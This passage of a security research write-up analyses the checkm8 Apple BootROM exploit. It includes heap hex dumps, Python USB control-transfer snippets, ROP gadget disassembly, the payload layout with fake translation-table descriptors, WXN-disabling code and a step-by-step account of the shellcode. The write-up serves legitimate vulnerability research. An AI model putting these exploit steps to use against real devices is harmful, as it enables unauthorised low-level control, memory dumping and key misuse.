................ chunk at 0x9440 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x94c0 0x180 non-free 0x80 0 00000000: E4 03 43 00 50 00 49 00 44 00 3A 00 38 00 30 00 ..CPID:.8.0. 00000010: 31 00 30 00 20 00 43 00 50 00 52 00 56 00 3A 00 1.0. .CPRV:. 00000020: 31 00 31 00 20 00 43 00 50 00 46 00 4D 00 3A 00 1.1. .CPFM:. 00000030: 30 00 33 00 20 00 53 00 43 00 45 00 50 00 3A 00 0.3. .SCEP:. 00000040: 30 00 31 00 20 00 42 00 44 00 49 00 44 00 3A 00 0.1. .BDID:. 00000050: 30 00 43 00 20 00 45 00 43 00 49 00 44 00 3A 00 0.C. .ECID:. 00000060: 30 00 30 00 31 00 41 00 34 00 30 00 33 00 36 00 0.0.1.A.4.0.3.6. 00000070: 32 00 30 00 34 00 35 00 45 00 35 00 32 00 36 00 2.0.4.5.E.5.2.6. 00000080: 20 00 49 00 42 00 46 00 4C 00 3A 00 33 00 43 00 .IBFL:.3.C. 00000090: 20 00 53 00 52 00 54 00 47 00 3A 00 5B 00 69 00 .SRTG:.[.i. 000000A0: 42 00 6F 00 6F 00 74 00 2D 00 32 00 36 00 39 00 Boot-.2.6.9. 000000B0: 36 00 2E 00 30 00 2E 00 30 00 2E 00 31 00 2E 00 6...0...0...1... chunk at 0x9640 // zlps[1] 0x80 non-free 0x180 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x96c0 // descs[0], Nonce 0x140 non-free 0x80 0 00000000: EA 03 20 00 4E 00 4F 00 4E 00 43 00 3A 00 35 00 .. .NONC:.5. 00000010: 35 00 46 00 38 00 43 00 41 00 39 00 37 00 41 00 5.F.8.CA9.7.A. 00000020: 46 00 45 00 36 00 30 00 36 00 43 00 39 00 41 00 FE6.0.6.C.9.A. 00000030: 41 00 31 00 31 00 32 00 44 00 38 00 42 00 37 00 A.1.1.2.D.8.B.7. 00000040: 43 00 46 00 33 00 35 00 30 00 46 00 42 00 36 00 CF3.5.0.FB6. 00000050: 35 00 37 00 36 00 43 00 41 00 41 00 44 00 30 00 5.7.6.CAAD0. 00000060: 38 00 43 00 39 00 35 00 39 00 39 00 34 00 41 00 8.C.9.5.9.9.4.A. 00000070: 46 00 32 00 34 00 42 00 43 00 38 00 44 00 32 00 F.2.4.BC8.D.2. 00000080: 36 00 37 00 30 00 38 00 35 00 43 00 31 00 20 00 6.7.0.8.5.C.1. . 00000090: 53 00 4E 00 4F 00 4E 00 3A 00 42 00 42 00 41 00 SNON:.BBA 000000A0: 30 00 41 00 36 00 46 00 31 00 36 00 42 00 35 00 0.A.6.F.1.6.B.5. 000000B0: 31 00 37 00 45 00 31 00 44 00 33 00 39 00 32 00 1.7.E.1.D.3.9.2. chunk at 0x9800 // descs[1], Manufacturer 0x80 non-free 0x140 0 00000000: 16 03 41 00 70 00 70 00 6C 00 65 00 20 00 49 00 ..Apple .I. 00000010: 6E 00 63 00 2E 00 D6 D7 D8 D9 DA DB DC DD DE DF nc............ 00000020: E0 E1 E2 E3 E4 E5 E6 E7 E8 E9 EA EB EC ED EE EF ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9880 // descs[2], Product 0x80 non-free 0x80 0 00000000: 3E 03 41 00 70 00 70 00 6C 00 65 00 20 00 4D 00 >.Apple .M. 00000010: 6F 00 62 00 69 00 6C 00 65 00 20 00 44 00 65 00 obile .De 00000020: 76 00 69 00 63 00 65 00 20 00 28 00 44 00 46 00 vice .(.DF 00000030: 55 00 20 00 4D 00 6F 00 64 00 65 00 29 00 FE FF U. .Mode)... chunk at 0x9900 // descs[3], Serial number 0x140 non-free 0x80 0 00000000: C6 03 43 00 50 00 49 00 44 00 3A 00 38 00 30 00 ..CPID:.8.0. 00000010: 31 00 30 00 20 00 43 00 50 00 52 00 56 00 3A 00 1.0. .CPRV:. 00000020: 31 00 31 00 20 00 43 00 50 00 46 00 4D 00 3A 00 1.1. .CPFM:. 00000030: 30 00 33 00 20 00 53 00 43 00 45 00 50 00 3A 00 0.3. .SCEP:. 00000040: 30 00 31 00 20 00 42 00 44 00 49 00 44 00 3A 00 0.1. .BDID:. 00000050: 30 00 43 00 20 00 45 00 43 00 49 00 44 00 3A 00 0.C. .ECID:. 00000060: 30 00 30 00 31 00 41 00 34 00 30 00 33 00 36 00 0.0.1.A.4.0.3.6. 00000070: 32 00 30 00 34 00 35 00 45 00 35 00 32 00 36 00 2.0.4.5.E.5.2.6. 00000080: 20 00 49 00 42 00 46 00 4C 00 3A 00 33 00 43 00 .IBFL:.3.C. 00000090: 20 00 53 00 52 00 54 00 47 00 3A 00 5B 00 69 00 .SRTG:.[.i. 000000A0: 42 00 6F 00 6F 00 74 00 2D 00 32 00 36 00 39 00 Boot-.2.6.9. 000000B0: 36 00 2E 00 30 00 2E 00 30 00 2E 00 31 00 2E 00 6...0...0...1... chunk at 0x9a40 // zlps[0] 0x80 non-free 0x140 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 40 96 1B 80 01 00 00 00 ........@....... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9ac0 0x46540 free 0x80 0 00000000: 00 00 00 00 00 00 00 00 F8 8F 08 80 01 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 F8 8F 08 80 01 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 

You can also achieve an interesting effect by overflowing the configuration descriptors High Speed and Full Speed that are located right after the IO buffer. One of the fields of a configuration descriptor is responsible for its overall length. By overflowing this field, we can read beyond the descriptor. You can try and do it yourself by modifying the exploit.


2. Allocation and freeing of the IO buffer without clearing the global state


 device = dfu.acquire_device() device.serial_number libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001) libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0) dfu.release_device(device) 

At this stage, an incomplete OUT request for uploading the image is created. At the same time, a global state is initialized, and the address of the buffer in the heap is written to the io_buffer . Then, DFU is reset with a DFU_CLR_STATUS request, and a new iteration of DFU begins.


3. Overwriting usb_device_io_request in the heap with use-after-free


 device = dfu.acquire_device() device.serial_number stall(device) leak(device) leak(device) libusb1_no_error_ctrl_transfer(device, 0, 9, 0, 0, t8010_overwrite, 50) 

At this stage, a usb_device_io_request type object is allocated in the heap, and it is overflown with t8010_overwrite , whose content was defined at the first stage.


The values of t8010_nop_gadget and 0x1800B0800 should overflow the fields callback and next of the usb_device_io_request structure.


t8010_nop_gadget is shown below and conforms to its name, but besides function return, the previous LR register is restored, and because of that the call free is skipped after the callback function in usb_core_complete_endpoint_io . This is important, because we damage the heap's metadata due to overflow, which would affect the exploit in case of a freeing attempt.


 bootrom:000000010000CC6C LDP X29, X30, [SP,#0x10+var_s0] // restore fp, lr bootrom:000000010000CC70 LDP X20, X19, [SP+0x10+var_10],#0x20 bootrom:000000010000CC74 RET 

next points to INSECURE_MEMORY + 0x800 . Later, INSECURE_MEMORY will store the exploit's payload, and at the offset of 0x800 in the payload, there is a callback-chain , which we'll discuss later on.


4. Placing the payload


 for i in range(0, len(payload), 0x800): libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 50) 

At this stage, every following packet is put into the memory area allocated for the image. The payload looks like this:


 0x1800B0000: t8010_shellcode # initializing shell-code ... 0x1800B0180: t8010_handler # new usb request handler ... 0x1800B0400: 0x1000006a5 # fake translation table descriptor # corresponds to SecureROM (0x100000000 -> 0x100000000) # matches the value in the original translation table ... 0x1800B0600: 0x60000180000625 # fake translation table descriptor # corresponds to SecureRAM (0x180000000 -> 0x180000000) # matches the value in the original translation table 0x1800B0608: 0x1800006a5 # fake translation table descriptor # new value translates 0x182000000 into 0x180000000 # plus, in this descriptor,there are rights for code execution 0x1800B0610: disabe_wxn_arm64 # code for disabling WXN 0x1800B0800: usb_rop_callbacks # callback-chain 

5. Execution of callback-chain


 dfu.usb_reset(device) dfu.release_device(device) 

After USB reset, the loop of canceling incomplete usb_device_io_request in the queue by going through a linked list is started. In the previous stages, we replaced the rest of the queue, which allows us to control the callback chain. To build this chain, we use this gadget:


 bootrom:000000010000CC4C LDP X8, X10, [X0,#0x70] ; X0 - usb_device_io_request pointer; X8 = arg0, X10 = call address bootrom:000000010000CC50 LSL W2, W2, W9 bootrom:000000010000CC54 MOV X0, X8 ; arg0 bootrom:000000010000CC58 BLR X10 ; call bootrom:000000010000CC5C CMP W0, #0 bootrom:000000010000CC60 CSEL W0, W0, W19, LT bootrom:000000010000CC64 B loc_10000CC6C bootrom:000000010000CC68 ; --------------------------------------------------------------------------- bootrom:000000010000CC68 bootrom:000000010000CC68 loc_10000CC68 ; CODE XREF: sub_10000CC1C+18↑j bootrom:000000010000CC68 MOV W0, #0 bootrom:000000010000CC6C bootrom:000000010000CC6C loc_10000CC6C ; CODE XREF: sub_10000CC1C+48↑j bootrom:000000010000CC6C LDP X29, X30, [SP,#0x10+var_s0] bootrom:000000010000CC70 LDP X20, X19, [SP+0x10+var_10],#0x20 bootrom:000000010000CC74 RET 

As you can see, at the offset of 0x70 from the pointer to the structure, the call's address and its first argument are loaded. With this gadget, we can easily make any f(x) type calls for arbitrary f and x .


The entire call chain can be easily emulated with Unicorn Engine . We did it with our modified version of the plugin uEmu .



The results of the entire chain for iPhone 7 can be found below.


5.1. dc_civac 0x1800B0600


 000000010000046C: SYS #3, c7, c14, #1, X0 0000000100000470: RET 

Clearing and invalidating the processor's cache at a virtual address. This will make the processor address our payload later.


5.2. dmb


 0000000100000478: DMB SY 000000010000047C: RET 

A memory barrier that guarantees the completion of all operations with the memory done before this instruction. Instructions in high-performance processors can be executed in an order different from the programmed one for the purpose of optimization.


5.3. enter_critical_section()


Then, interrupts are masked for the atomic execution of further operations.


5.4. write_ttbr0(0x1800B0000)


 00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1)) 00000001000003E8: ISB 00000001000003EC: RET 

A new value of the table register TTBR0_EL1 is set in 0x1800B0000 . It is the address of INSECURE MEMORY where the exploit's payload is stored. As was mentioned before, the translation descriptors are located at certain offsets in the payload:


 ... 0x1800B0400: 0x1000006a5 0x100000000 -> 0x100000000 (rx) ... 0x1800B0600: 0x60000180000625 0x180000000 -> 0x180000000 (rw) 0x1800B0608: 0x1800006a5 0x182000000 -> 0x180000000 (rx) ... 

5.5. tlbi


 0000000100000434: DSB SY 0000000100000438: SYS #0, c8, c7, #0 000000010000043C: DSB SY 0000000100000440: ISB 0000000100000444: RET 

The translation table is invalidated in order to translate addresses according to our new translation table.


5.6. 0x1820B0610 - disable_wxn_arm64


 MOV X1, #0x180000000 ADD X2, X1, #0xA0000 ADD X1, X1, #0x625 STR X1, [X2,#0x600] DMB SY MOV X0, #0x100D MSR SCTLR_EL1, X0 DSB SY ISB RET 

WXN (Write permission implies Execute-never) is disabled to allow us execute code in RW memory. The execution of the WXN disabling code is possible due to the modified translation table.


5.7. write_ttbr0(0x1800A0000)


 00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1)) 00000001000003E8: ISB 00000001000003EC: RET 

The original value of the TTBR0_EL1 translation register is restored. It is necessary for the correct operation of BootROM during the translation of virtual addresses because the data in INSECURE_MEMORY will be overwritten.


5.8. tlbi


The translation table is reset again.


5.9. exit_critical_section()


Interrupt handling is back to normal.


5.10. 0x1800B0000


Control is transferred to the initializing shellcode .


Thus, the main task of callback-chain is to disable WXN and transfer control to the shellcode in RW memory.


6. Execution of shellcode


The shellcode is in src/checkm8_arm64.S and does the following:


6.1. Overwriting USB configuration descriptors


In the global memory, two pointers to configuration descriptors usb_core_hs_configuration_descriptor and usb_core_fs_configuration_descriptor located in the heap are stored. In the third stage, these descriptors were damaged. They are necessary for the correct interaction with a USB device, so the shellcode restores them.


6.2. Changing USBSerialNumber


A new string descriptor with a serial number is created with a substring " PWND:[checkm8]" added to it. This will help us understand if the exploit was successful.


6.3. Overwriting the pointer of the USB request handler


The original pointer to the handler of USB requests to the interface is overwritten by a pointer to a new handler, which will be placed in the memory at the next step.


6.4. Copying USB request handler into TRAMPOLINE memory area ( 0x1800AFC00 )


Upon receiving a USB request, the new handler checks the wValue of the request against 0xffff and if they're not equal, it transfers control back to the original handler. If they are equal, various commands can be executed in the new handlers, like memcpy , memset , and exec (calling an arbitrary address with an arbitrary set of arguments).


Thus, the analysis of the exploit is complete.


The implementation of the exploit at a lower level of working with USB


As a bonus and an example of the attack at lower levels, we published a Proof-of-Concept of the checkm8 implementation on Arduino with USB Host Shield . The PoC works only for iPhone 7 but can be easily ported to other devices. When an iPhone 7 in DFU mode is connected to USB Host Shield , all the steps described in this article will be executed, and the device will enter PWND:[checkm8] mode. Then, it can be connected to a PC via USB to work with it using ipwndfu (to dump memory, use crypto keys, etc.). This method is more stable than using asynchronous requests with a minimal timeout because we work directly with the USB controller. We used the USB_Host_Shield_2.0 library. It needs minor modifications; the patch file is also in the repository.



In place of a conclusion


Analyzing checkm8 was very interesting. We hope that this article will be useful for the community and will motivate new research in this area. The vulnerability will continue to influence the jailbreak community. A jailbreak based on checkm8 is already being developed — checkra1n , and since the vulnerability is unfixable, it will always work on vulnerable chips ( A5 to A11 ) regardless of the iOS version. Plus, there are many vulnerable devices, like iWatch , Apple TV , etc. We expect more interesting projects for Apple devices to come.


Besides jailbreak, this vulnerability will also influence the researchers of Apple devices. With checkm8 , you can already boot iOS devices in verbose mode, dump SecureROM , or use the GID key to decrypt firmware images. Although, the most interesting application for this exploit would be entering debug mode on vulnerable devices with a special JTAG/SWD cable . Before that, it could only be done with special prototypes that are extremely hard to get or with the help of special services . Thus, with checkm8 , Apple research becomes way easier and cheaper.


References


  1. Jonathan Levin, *OS Internals: iBoot
  2. Apple, iOS Security Guide
  3. littlelailo, apollo.txt
  4. usb.org
  5. USB in a NutShell
  6. ipwndfu
  7. an ipwndfu fork from LinusHenze

Source: https://habr.com/ru/post/fr472762/


All Articles